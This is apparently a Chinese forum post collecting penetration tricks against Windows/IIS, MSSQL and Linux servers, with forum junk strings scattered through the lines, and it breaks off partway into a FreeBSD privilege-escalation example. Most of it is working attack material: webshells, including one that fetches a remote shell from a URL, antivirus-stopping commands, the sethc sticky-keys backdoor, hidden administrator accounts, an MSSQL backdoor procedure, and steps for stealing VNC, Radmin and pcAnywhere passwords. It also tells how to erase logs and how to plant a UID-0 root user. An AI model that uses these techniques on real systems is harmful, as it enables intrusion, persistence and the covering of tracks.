渗透技巧总结

admin

旁站路径问题
: g" I4 b* ], n! Y1、读网站配置。
2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
9 A# G3 G& M6 H
7 y* A! x7 d9 I+ E# \3 ]/ ?* \Usage:Cscript vWeb.vbs",4096,"Lilo"
7 u* V5 @$ y0 `% m  \; {        WScript.Quit
End If
" r9 m* B% P" m! sSet ObjService=GetObject

3 J( M2 r6 p& T/ f. u$ G( j  G; u0 A("IIS://LocalHost/W3SVC")
2 @" e! Q4 p2 L" w4 _6 Z9 [For Each obj3w In objservice
* u, `! B( z' f7 x) X3 m        If IsNumeric(obj3w.Name)
9 v9 R1 L9 [1 ]$ Z  p6 l4 L$ I
& d$ X/ Y% A- g0 r. P. bThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
* J5 c3 H4 M2 K/ [0 z         

* `3 |2 I+ O* {$ K/ r# M+ S" f       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
' R6 L, D0 J% p3 e  v                If Err

<> 0 Then WScript.Quit (1)
* ^- m8 H7 e0 n: G, n2 V- V" w1 F                WScript.Echo Chr(10) & "[" &

1 r( {5 T' d) o: i9 P  LOService.ServerComment & "]"
, [, ?4 m' |* ^' v; {8 c5 ]. C& u. o/ T                For Each Binds In OService.ServerBindings
* s7 O, y7 d5 ]2 r9 m, F     
2 t9 o; m7 }5 b7 n8 p( E7 D
" H: U# T1 L' ]0 W6 g/ f1 g                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
; s( }3 J4 x1 O3 j1 Y                        

! e( q2 _- Z& d7 r: f# e5 P/ }WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
5 A9 e9 B- l. B4 V6 @                Next
      

# s; M1 y* h, {         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
# j7 }( q3 ?  N2 R' @$ X复制代码
: ^8 D; e1 ?. D! k5 q3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
& c3 G. Q3 l0 }3 V( s- D( ^—————————————————————
1 Q- G! k. i! t% N+ W: u. ~, w# nWordPress的平台，爆绝对路径的方法是：
2 ^3 J' f7 {9 ^9 O( B. E4 g+ ^url/wp-content/plugins/akismet/akismet.php
/ `6 _0 g5 [* z% z; z1 Uurl/wp-content/plugins/akismet/hello.php
; S  P3 @8 p. p) g! @7 h——————————————————————
phpMyAdmin暴路径办法:
# r9 k( R4 s, `4 z8 D5 A3 xphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
7 g% w+ Z- e5 }9 B: lphpMyAdmin/index.php?lang[]=1
2 V0 _5 T0 S6 gphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
7 h/ y2 d( A* J网站可能目录(注：一般是虚拟主机类）
8 `6 z9 d. o; ^  C9 M7 Q$ g) Vdata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
, e# v( t. g' i( T) wnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
3 a( Y  e* A' Z+ H0 f; g+ Knetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
# M) ~6 g+ Z" |- y% L————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
6 |! ?# V, v2 w5 b! l8 y# c1 Vexec master.dbo.sp_addlogin test,123
7 Q6 R' A7 K/ T. Z1 W% IEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
7 j7 \' K. f% D" P8 Y
; j0 _. p6 i% K; l) x' b另类的加用户方法
7 i: J& u1 |1 r在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
5 T+ K2 A: D/ c( v3 w% jjs:
7 h6 F8 k% A- w, k  U# F5 ?var o=new ActiveXObject( "Shell.Users" );
" m& p+ B: m% Z+ E1 y: Y3 ], f3 Nz=o.create("test") ;
7 t3 U4 f  _( vz.changePassword("123456","")
$ d$ _6 C7 S4 G) e) iz.setting("AccountType")=3;
0 q( X" d3 p( T  L+ _/ x6 A3 A6 R
: z8 t/ d8 R9 X: i5 qvbs:
. [1 M' j9 ^) j/ e: W2 @Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
0 B- o# h1 E# E. _1 b& rz.changePassword "123456",""
z.setting("AccountType")=3
7 m! Q( ^) ?$ q& ~. }3 R( P——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
1 {) U" r  M/ Z8 z* p; i9 n
命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
8 R$ b- i  G$ K————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
5 [/ i$ a6 w. fXP 运行mstsc /admin
: a8 o2 {: Z/ Q+ a* ~% q* I2003 运行mstsc /console   
$ N  v% g( [, y) o+ d" G
5 G9 a. j* _  V7 l8 a2 J杀软关闭（把杀软所在的文件的所有权限去掉）
; K8 e* ]" o' p) Q. k1 C处理变态诺顿企业版：
& I+ g, J/ {3 Z3 p1 Z; U, Pnet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
* m3 X# ?* P2 u- M5 w1 Tnet stop "Symantec Event Manager" /y
2 u, u* f' J/ t5 }+ I- u+ d& knet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
3 {" h# P1 J5 L- V
0 ~* ?/ G8 E! ~, u卖咖啡：net stop "McAfee McShield"
# D  ^* p, P" d. b0 p( b+ U1 U————————————————————
8 w! c! b" J5 {7 l
. B7 y  Y) y; ?- u. N. o$ e  s  \5次SHIFT：
( n1 g$ Y2 z2 e) ^1 M$ M- Kcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
" F. p6 c$ h3 [7 Q, jcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
( E% M0 ~% v( c——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
+ A  v5 w6 a0 a1 K. j; ~- Z——————————————————————
MSSQL扩展后门：
( I. }/ M' F  j% K4 v5 G! C! [USE master;
( B% L1 P  Q  T# uEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
& B8 F3 r# t: h; e# j: _GRANT exec On xp_helpsystem TO public;
! g4 F3 F5 X' O5 `$ w———————————————————————
) m3 S- d% {% Q$ h# Q' s9 w日志处理
, j- f! S% s0 J$ ~/ wC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
- Y, ?" w6 R. E2 e) C& t" ^) e8 Fex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
4 \! l3 H4 x1 O6 T# A8 ?当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

# y2 _0 q/ a7 _6 p+ @! r2 TMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
/ m; r$ r9 E$ j1 {0 w; s$ y7 b" @找到接接过的信息删除。
3 O* a5 R3 n% z2 ^+ Y( L8 o6 |MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
' w9 x" p" V; ^  @+ P) ?
Server\90\Tools\Shell\mru.dat
4 c) ?# k& g" j—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

) u$ E# F- d5 i! I  X<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
1 b9 \! o/ h' T2 _Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
5 p' K& h7 s9 x1 K3 w# D.Open "Get", s_RemoteFileUrl, False, "", ""
9 c" p. s, w% V0 a& I.Send
GetRemoteData = .ResponseBody
0 C, V9 ~! o) J  r; ]; z, |  hEnd With
$ c$ k2 H+ |6 A6 W* D( ~5 G+ j) dSet Retrieval = Nothing
  P( k& c$ @0 \; e- e, oSet Ads = Server.CreateObject("Adodb.Stream")
/ r( Y7 W" i3 {/ ~6 f4 H2 ~; GWith Ads
.Type = 1
.Open
.Write GetRemoteData
  W( K1 D9 b* P- }1 S; W- ^.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
+ X5 O6 t! x8 E.Close()
% E$ G" B) ?/ e( U+ [' f& QEnd With
Set Ads=nothing
End Sub

8 ?# y& P) ~7 [* S( feWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
% A" a3 g2 g+ X4 S" m) ?. Z%>
' ^1 r' |8 t% f6 }6 n) i
VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
! [) A: S4 r& A1 l$ ^3 K4 c) Iregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
, ^$ J8 ^1 o$ W3 Eregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
+ b* `: Z7 X3 `# TRadmin 默认端口是4899，
' P6 x* n8 O( ]& Q* ?+ y6 rHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
: b- A" u* z/ P+ O: @6 dHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
, p0 R. w% e* s! W# d3 R如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
2 `+ ?& ?( T* p7 E$ t——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
: k6 L) {) j3 i4 @  S——————————————————----------
. E8 O/ {0 n4 t' r  \WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
8 f6 {- j) p/ ~; A; f  ?0 I来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
$ Y* ~) P9 \" J* Q- G, _7 N7i24的web目录也是可写，权限为administrator。
; A& S. X5 k* c# \+ D! S1 y/ K
1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
$ V6 F+ I" k  t. UstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
8 B8 M1 t$ u2 `8 tstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
& u0 j  K! v2 K" B: M0 `3 |conn.open strCon
6 x' H0 A3 C: pdim rs,strSQL,id
  y; j5 Q3 Z; V9 ]+ \& f% @: Tset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
; X1 k9 x$ [$ M/ K4 o3 }* u2 j%>
复制代码
+ g8 C' A) d  R( Q. M9 B0 I: o******liunx 相关******
* n4 s" [- ~, Q: E* M0 z% `一.ldap渗透技巧
1.cat /etc/nsswitch
2 [/ U' z% t* U$ m9 J8 F) _) f看看密码登录策略我们可以看到使用了file ldap模式

7 _- {* O$ c' V9 i, U! Q4 u2.less /etc/ldap.conf
: a# Y2 }/ P3 O* F1 Bbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

/ P9 \$ \$ W) A( |; v) y3.查找管理员信息
匿名方式
* k  K; U! M) f" ]0 {; D8 aldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
; ]8 ?3 X) o: F- X/ G
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

* i4 X  m8 p, ?' U1 E
2 ]9 g% O/ q1 ?* G5 L, q: ^4.查找10条用户记录
6 Z* o, c: W; w9 Rldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
% I- q; m5 _0 j' N
0 Q( ]" C9 {, `# L. ], }  A实战:
/ r+ `7 O. |: D1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
1 y/ c: `( B  D1 B/ u- |) s2 Pldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
' W% M1 m5 ]  Y1 i- ildapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
4 h) K& R' s% W, u" n0 k
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
* e* ^8 c% D, _* P+ D
# _0 g* x: A2 K
2 K1 P2 W$ k: g; V6 v4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
0 \7 F" T5 G* R0 H8 \5 b# K
5 L' m# a: O! X渗透实战:
2 d/ c+ d1 D- e( [* d1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
% k0 t/ j1 u0 `# Z0 _2 f) b+ Bversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
6 d8 V' v  `1 N) B; QobjectClass: domain

+ }. T/ t' W; w% |& T4 q/ D' E7 Wdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
, v* z7 p( @' l5 S6 VobjectClass: top
sn: manager
cn: manager
& L' B( m3 z" e( r9 e: l  G- h
( x# u3 b* F. E1 }. s3 |. sdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
7 \  X* N$ V% @objectClass: inetOrgPerson
+ ?, b6 j. A/ ]7 p6 dobjectClass: organizationalPerson
objectClass: person
1 u, x7 J; d: w" B4 B2 GobjectClass: top
6 L; x  T8 p* ^: J. dsn: superadmin
7 j7 j8 f9 u9 |% [% R6 H# o& jcn: superadmin
& l; g- W$ p1 l. w; e$ W& j
dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
7 `4 c/ b5 o% H# ysn: admin
3 `& n  ~4 A# K0 `cn: admin
8 Y( r, W- {4 Y; C* A
! A# `  I) V7 H8 b: n2 gdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
! f- n, D" _6 UobjectClass: person
0 }- R- y2 h5 F' _, ^/ KobjectClass: organizationalPerson
objectClass: inetOrgPerson
4 R5 g2 r' _( ]  L( K# vsn: dcp_anonymous
cn: dcp_anonymous
$ U; [7 w! y. L0 J- Z9 y& A+ g
, @8 M  g5 Z0 o! p. `3 A* `2.查看基类
$ b8 W$ W  V: A  F* y- ubash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

- n: E; s8 l3 b4 @6 umore
version: 1
1 F( a6 A) a: H1 a  adn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

# L+ h& w; |2 p3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
! r' T2 j8 q+ L( M0 M9 ], eversion: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
0 ]# e* O& C. L/ e0 DsupportedExtension: 2.16.840.1.113730.3.5.7
5 n  f8 l4 ~) U8 g' e7 U- ?* qsupportedExtension: 2.16.840.1.113730.3.5.8
/ U4 g% E/ e* \3 LsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
% \6 G  [2 ~7 S+ tsupportedExtension: 2.16.840.1.113730.3.5.3
1 q) j; N1 |8 esupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
/ p4 e" b; @# O5 x& esupportedExtension: 2.16.840.1.113730.3.5.4
2 Y; v: s: Q% V0 t' msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
' U: D" n& h+ JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
! I3 ]: m5 x; J3 l6 p! O6 m3 fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
/ q  J: s; f  S  J0 m* `1 F  jsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
9 W7 `. f; r) y1 p* i0 MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
/ @9 T- Y. b3 ]' ?- f( j* isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
* B& U3 a. \5 w! X% w, lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
3 b, H3 T5 ]) u, k! wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
. P' j8 T4 U) O/ B( }; s' HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
- ]7 T- H, k% k# A! S! wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
* u! v5 e7 y2 e$ vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
: j2 z; y2 O( xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
5 G3 M# c# q, a2 ~; ~' D% z: xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
7 j) F$ r1 H2 G5 x2 P7 {) M+ YsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
8 v7 a! l1 Y& u9 H! G/ ssupportedControl: 2.16.840.1.113730.3.4.4
; }# i4 F2 d  c( o$ @supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
" g' Z6 x+ ^5 {; c+ W* S" WsupportedControl: 2.16.840.1.113730.3.4.9
* c$ }  F) V0 |$ X4 h$ zsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
- }! c9 D. U0 I* Z( dsupportedControl: 2.16.840.1.113730.3.4.17
! w$ X$ a% \1 j; W, F6 }supportedControl: 2.16.840.1.113730.3.4.19
6 ~" t% m4 x' U5 m2 tsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
' ?( j& K  F! DsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
$ O( q$ M/ T, I% nsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
+ _* r: c* d! _4 P; HsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
, s! c. U9 I0 {/ m4 ^( H& OsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
. h* u: }# ^6 \  PsupportedControl: 2.16.840.1.113730.3.4.12
# ^: p) Z) B! U4 D! w! JsupportedControl: 2.16.840.1.113730.3.4.18
" ?7 q: P2 N  \4 [- k7 _( ]( bsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
) _2 B8 ~+ B# b  b- E  ]supportedLDAPVersion: 2
supportedLDAPVersion: 3
' i. o5 j% N0 u$ ?% y$ X) g4 ^vendorName: Sun Microsystems, Inc.
/ c. L0 p3 [; o$ i9 E) VvendorVersion: Sun-Java(tm)-System-Directory/6.2
8 t  |' A' C  q+ ddataversion: 020090516011411
* t" s" `6 t6 Snetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
* e5 m% }) Z4 O& b. j  ~4 ?supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
( |. [; t5 i% O. ]9 g2 D  wsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
, [4 }, j2 I5 j# rsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
% y+ l' K$ u6 T. I7 wsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
8 `9 m4 D5 t/ N% I, x8 S! BsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
- i: h4 Y1 P8 asupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
. ^% ]& T: Y; {3 q0 z" ysupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
, L( F. ^& e- tsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
2 Q, F: h! I: n$ f1 e+ EsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
" e7 H$ @* O& P5 w9 ~7 V. isupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
6 U% g% s# ^2 @+ U8 c5 C0 p& msupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
$ e, i. S) d/ S, K5 ?supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
* W# A1 p" r! U1 w, tsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
' F( F/ {/ Q& N* {. t7 _' LsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
' O. a" h0 \/ ^% osupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
6 n6 n/ k$ T8 f4 X7 JsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
0 x# L2 Y* p; J* E9 o( G  esupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
/ H$ V- |0 T$ a. p7 T0 K* GsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
8 S7 Y& Q. g1 E2 n& y; `supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
( l; m* x8 s( P: g, ?. IsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
/ y, y' U2 Q1 r! S2 ^4 s5 fsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
! t# s! B( x0 CsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
$ \) L2 d$ g( W! Y+ MsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
- }8 H7 Z" Z$ x% ?! u6 d6 k( BsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
+ p8 ^4 |( D% M1 }showmount -e ip
7 N: N. j% ?: j2 R4 S列举IP
; M0 L. r" n- U* L4 z# g——————
$ c$ G+ K. Y3 ]4 y$ q9 \, V3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
auto
img_auto
6 h2 |4 K; ^( z8 U5 W* c$ x) [html_cms
img_cms
4 ]+ c; w0 P) g, `. dent_cms
ent_img
ceshi
! b1 {6 J% _& {8 A2 f! mres_img
3 N' W1 \6 J; `7 Vres_img_c2
chip
chip_c2
ent_icms
games
gamesimg
8 U# R+ ~* h( x0 fmedia
5 v" r5 w+ n2 B3 m. ]) X0 imediaimg
fashion
" Y) h1 w9 Z4 D, {; R7 _+ S  rres-fashion
res-fo
- D: ^2 ~+ L, a$ rtaobao-home
  Z# v, Q/ ?- Xres-taobao-home
house
res-house
res-home
res-edu
res-ent
  [9 f" n) t1 g. O6 M7 `2 eres-labs
9 w9 h0 H- }6 R0 vres-news
res-phtv
+ m0 w- H; }0 k) K$ mres-media
home
1 d0 ?( U& w0 G7 N) vedu
news
0 }- `' h9 Y: O1 |res-book

看相应的下级目录(注意一定要在目录后面添加上/)
1 L+ t$ L& M! p" W  }3 T
. U' `5 B6 v5 Q+ U: B
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

; Y% c* ], y' P2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
/ A/ m. {- N/ \0 e* s0 g: ~! @
' z: N* A5 z, H  P3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
8 ]; f& c! ]8 X( k3 o5 x& a% i" V
& o/ Q! v5 H3 F5 d9 {( |; t! y四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
1 [3 n) x" K8 ]GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
; N: G: i2 ~0 n# c8 O/ L3 A
六.joomla渗透小技巧
/ f9 M" l$ [" b+ x确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
% t$ x$ w! x. }: b, l
" V4 ^: Y' s, q5 y# p( {0 l: Q+ e重新设置密码
index.php?option=com_user&view=reset&layout=confirm

- ?/ R9 K3 n" c6 Q  ]4 q3 T- D4 k七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
5 y  L! x% D  t- @* vfs.usermount: 1
* [argp@julius ~]$ id
